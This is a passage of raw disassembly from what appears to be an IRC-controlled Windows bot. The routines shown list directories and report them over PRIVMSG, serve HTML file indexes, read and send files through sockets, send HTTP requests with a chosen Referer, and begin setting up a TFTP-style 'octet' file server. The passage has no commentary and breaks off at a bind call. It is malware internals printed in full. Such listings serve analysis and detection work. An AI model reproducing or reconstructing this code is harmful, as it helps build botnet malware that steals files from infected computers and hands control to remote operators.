		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_4061C4
; ---------------------------------------------------------------------------

loc_4061AA:				; CODE XREF: sub_406100+7Aj
					; sub_406100+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_4061BA
		push	5Ch
		pop	eax
		jmp	short loc_4061BD
; ---------------------------------------------------------------------------

loc_4061BA:				; CODE XREF: sub_406100+B3j
		movsx	eax, al

loc_4061BD:				; CODE XREF: sub_406100+B8j
		mov	[ebp+ebx+var_210], al

loc_4061C4:				; CODE XREF: sub_406100+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_415CF0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40616A

loc_4061DA:				; CODE XREF: sub_406100+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_314]
		push	offset asc_426CB4 ; "\n"
		push	eax
		call	sub_416C98
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	dword_421094	; GetFileAttributesA
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_406228
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40622B
		push	[ebp+arg_0]
		jmp	short loc_4062A7
; ---------------------------------------------------------------------------

loc_406228:				; CODE XREF: sub_406100+11Cj
		mov	[ebp+var_4], esi

loc_40622B:				; CODE XREF: sub_406100+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_406238
		mov	[ebp+var_4], esi

loc_406238:				; CODE XREF: sub_406100+133j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_4062B2
		cmp	[ebp+arg_C], edi
		jz	short loc_4062A6
		lea	eax, [ebp+var_314]
		push	offset asc_426CB0 ; "*"
		push	eax
		call	sub_415C10
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_406AEF
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_4154E7
		add	esp, 1Ch
		or	[ebp+var_330], 0FFFFFFFFh
		mov	[ebp+var_31C], esi
		jmp	short loc_406301
; ---------------------------------------------------------------------------

loc_4062A6:				; CODE XREF: sub_406100+14Fj
		push	ebx

loc_4062A7:				; CODE XREF: sub_406100+126j
		call	dword_43A430	; closesocket
		jmp	loc_4063A9
; ---------------------------------------------------------------------------

loc_4062B2:				; CODE XREF: sub_406100+14Aj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	dword_421078	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_406301
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4154E7
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		call	dword_421090	; GetFileSize
		push	esi
		mov	[ebp+var_330], eax
		call	dword_42106C	; CloseHandle

loc_406301:				; CODE XREF: sub_406100+1A4j
					; sub_406100+1CFj
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_426C6C
		push	eax
		call	sub_4154E7
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_414F93
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43F52C[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_405F7E
		push	edi
		push	edi
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43F53C[ecx], eax
		jz	short loc_40637B

loc_406369:				; CODE XREF: sub_406100+279j
		cmp	[ebp+var_318], edi
		jnz	short loc_4063A9
		push	5
		call	dword_421060	; Sleep
		jmp	short loc_406369
; ---------------------------------------------------------------------------

loc_40637B:				; CODE XREF: sub_406100+267j
		push	ebx
		call	dword_43A430	; closesocket
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_426C20
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_40B16D
		add	esp, 10h

loc_4063A9:				; CODE XREF: sub_406100+1ADj
					; sub_406100+26Fj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_406100	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4063B0	proc near		; CODE XREF: sub_405F7E+159p
					; sub_40CE55+464Cp

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_415570
		mov	edi, [ebp+arg_0]
		push	offset asc_426CB4 ; "\n"
		push	edi
		call	sub_416C98
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40640F
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 14h
		jmp	loc_40650C
; ---------------------------------------------------------------------------

loc_40640F:				; CODE XREF: sub_4063B0+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_4064F2
		call	sub_415CF0
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A3E8	; send
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A3E8	; send
		push	edi
		call	sub_415CF0
		push	3Ch
		push	96h
		mov	byte ptr [eax+edi], 2Ah
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A3E8	; send
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 0Ch
		jmp	short loc_40650C
; ---------------------------------------------------------------------------

loc_4064F2:				; CODE XREF: sub_4063B0+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 10h

loc_40650C:				; CODE XREF: sub_4063B0+5Aj
					; sub_4063B0+140j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A3E8	; send
		cmp	[ebp+arg_C], ebx
		jz	short loc_4065A4
		push	[ebp+arg_C]
		call	sub_415CF0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_4065A4
		push	[ebp+arg_C]
		call	sub_415CF0
		sub	eax, 3
		pop	ecx
		jz	short loc_406558

loc_40654C:				; CODE XREF: sub_4063B0+1A6j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_406558
		dec	eax
		jnz	short loc_40654C

loc_406558:				; CODE XREF: sub_4063B0+19Aj
					; sub_4063B0+1A3j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_416D40
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A3E8	; send

loc_4065A4:				; CODE XREF: sub_4063B0+17Ej
					; sub_4063B0+18Cj
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	dword_4210A8	; FindFirstFileA
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		call	dword_4210A4	; FindNextFileA
		test	eax, eax
		jz	loc_406995
		mov	edi, 1FFh

loc_4065D0:				; CODE XREF: sub_4063B0+5DFj
		cmp	[ebp+var_388], ebx
		jz	loc_40697D
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40697D
		lea	eax, [ebp+var_35C]
		push	offset a__0	; "."
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40697D
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	dword_4210A0	; FileTimeToLocalFileTime
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_42109C	; FileTimeToSystemTime
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_406645
		mov	ecx, offset aAm	; "AM"

loc_406645:				; CODE XREF: sub_4063B0+28Ej
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_406651
		sub	eax, 0Ch

loc_406651:				; CODE XREF: sub_4063B0+29Cj
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_4154E7
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_4067FE
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_4066D2
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_415A6A
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 28h
		jmp	loc_40694E
; ---------------------------------------------------------------------------

loc_4066D2:				; CODE XREF: sub_4063B0+2DBj
		cmp	[ebp+arg_C], ebx
		jz	loc_4067BC
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A3E8	; send
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A3E8	; send
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_415CF0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_406772
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_406777
; ---------------------------------------------------------------------------

loc_406772:				; CODE XREF: sub_4063B0+3B9j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"

loc_406777:				; CODE XREF: sub_4063B0+3C0j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A3E8	; send
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40693F
; ---------------------------------------------------------------------------

loc_4067BC:				; CODE XREF: sub_4063B0+325j
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_415A6A
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"

loc_4067E9:				; CODE XREF: sub_4063B0+476j
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 24h
		jmp	loc_40694E
; ---------------------------------------------------------------------------

loc_4067FE:				; CODE XREF: sub_4063B0+2CFj
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_406828
		push	ebx
		push	[ebp+var_368]
		call	sub_40C218
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		jmp	short loc_4067E9
; ---------------------------------------------------------------------------

loc_406828:				; CODE XREF: sub_4063B0+454j
		cmp	[ebp+arg_C], ebx
		jz	loc_406928
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A3E8	; send
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_2	; "%s%s"
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A3E8	; send
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_415CF0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_4068C8
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_4068CD
; ---------------------------------------------------------------------------

loc_4068C8:				; CODE XREF: sub_4063B0+50Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"

loc_4068CD:				; CODE XREF: sub_4063B0+516j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A3E8	; send
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 1Ch
		jmp	short loc_40694E
; ---------------------------------------------------------------------------

loc_406928:				; CODE XREF: sub_4063B0+47Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"
		push	esi

loc_40693F:				; CODE XREF: sub_4063B0+407j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_415A6A
		add	esp, 18h

loc_40694E:				; CODE XREF: sub_4063B0+31Dj
					; sub_4063B0+449j ...
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A3E8	; send
		cmp	[ebp+arg_8], ebx
		jz	short loc_40697D
		push	7D0h
		call	dword_421060	; Sleep

loc_40697D:				; CODE XREF: sub_4063B0+226j
					; sub_4063B0+241j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		call	dword_4210A4	; FindNextFileA
		test	eax, eax
		jnz	loc_4065D0

loc_406995:				; CODE XREF: sub_4063B0+215j
		push	[ebp+arg_0]
		call	dword_421098	; FindClose
		cmp	[ebp+arg_8], ebx
		jz	short loc_4069D8
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_40C218
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_40C218
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_4154E7
		add	esp, 14h
		jmp	short loc_406A0C
; ---------------------------------------------------------------------------

loc_4069D8:				; CODE XREF: sub_4063B0+5F1j
		cmp	[ebp+arg_C], ebx
		jz	short loc_4069F2
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx
		jmp	short loc_406A0C
; ---------------------------------------------------------------------------

loc_4069F2:				; CODE XREF: sub_4063B0+62Bj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_4154E7
		add	esp, 10h

loc_406A0C:				; CODE XREF: sub_4063B0+626j
					; sub_4063B0+640j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A3E8	; send
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_4063B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A32	proc near		; CODE XREF: sub_405F7E+13Bp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	dword_421078	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_406AEA
		push	esi
		push	ebx
		call	dword_421090	; GetFileSize
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_406AE3

loc_406A77:				; CODE XREF: sub_406A32+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_406A94
		mov	edi, [ebp+arg_4]

loc_406A94:				; CODE XREF: sub_406A32+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	dword_4210AC	; SetFilePointer
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	dword_421068	; ReadFile
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_43A3E8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406ADE
		call	dword_43A32C	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_406AE3
		xor	eax, eax

loc_406ADE:				; CODE XREF: sub_406A32+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_406A77

loc_406AE3:				; CODE XREF: sub_406A32+43j
					; sub_406A32+A8j
		push	ebx
		call	dword_42106C	; CloseHandle

loc_406AEA:				; CODE XREF: sub_406A32+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406A32	endp


; =============== S U B	R O U T	I N E =======================================



sub_406AEF	proc near		; CODE XREF: sub_406100+17Cp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_415CF0
		test	eax, eax
		pop	ecx
		jbe	short loc_406B18

loc_406B02:				; CODE XREF: sub_406AEF+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_406B0C
		mov	byte ptr [esi+edi], 2Fh

loc_406B0C:				; CODE XREF: sub_406AEF+17j
		push	edi
		inc	esi
		call	sub_415CF0
		cmp	esi, eax
		pop	ecx
		jb	short loc_406B02

loc_406B18:				; CODE XREF: sub_406AEF+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_406AEF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406B1D	proc near		; CODE XREF: sub_40CE55+2AD5p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_43A310	; WSAStartup
		push	6
		push	1
		push	2
		call	dword_43A418	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_43A398	; htons
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40A05B
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43A340	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_406BFA
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_406B96
		mov	eax, offset byte_438FBC

loc_406B96:				; CODE XREF: sub_406B1D+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_43A3E8	; send
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_4155D0
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_43A3B0	; recv
		pop	esi

loc_406BFA:				; CODE XREF: sub_406B1D+6Bj
		push	ebx
		call	dword_43A430	; closesocket
		call	dword_43A2F8	; WSACleanup
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_4154E7
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_406C3A
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h

loc_406C3A:				; CODE XREF: sub_406B1D+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_406B1D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406C3E	proc near		; CODE XREF: sub_406C3E:loc_407129p
					; DATA XREF: sub_407276+107o ...

var_884		= dword	ptr -884h
var_880		= dword	ptr -880h
var_780		= byte ptr -780h
var_580		= byte ptr -580h
var_57F		= byte ptr -57Fh
var_57E		= byte ptr -57Eh
var_57D		= byte ptr -57Dh
var_57C		= byte ptr -57Ch
var_37C		= dword	ptr -37Ch
var_378		= byte ptr -378h
var_274		= byte ptr -274h
var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_D8		= byte ptr -0D8h
var_D7		= byte ptr -0D7h
var_D6		= byte ptr -0D6h
var_D5		= byte ptr -0D5h
var_58		= byte ptr -58h
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 884h
		push	ebx
		push	esi
		push	edi
		mov	edx, [ebp+arg_0]
		mov	esi, offset aOctet ; "octet"
		lea	edi, [ebp+var_1C]
		movsd
		push	1
		xor	ebx, ebx
		movsw
		pop	eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp+var_37C]
		push	ebx
		push	2
		rep movsd
		inc	[ebp+var_16C]
		push	2
		mov	[ebp+var_C], eax
		mov	[edx+2A0h], eax
		call	dword_43A418	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_406D01
		push	190h
		call	dword_421060	; Sleep
		call	dword_43A32C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_4272BC
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_E0], ebx
		jnz	short loc_406CE1
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_412D4C
		add	esp, 14h

loc_406CE1:				; CODE XREF: sub_406C3E+7Ej
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40B16D
		push	[ebp+var_170]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread

loc_406D01:				; CODE XREF: sub_406C3E+50j
		mov	eax, [ebp+var_170]
		push	10h
		imul	eax, 234h
		push	ebx
		mov	dword_43F534[eax], edi
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	[ebp+var_168]
		call	dword_43A398	; htons
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_40], ebx
		call	dword_43A3C4	; bind
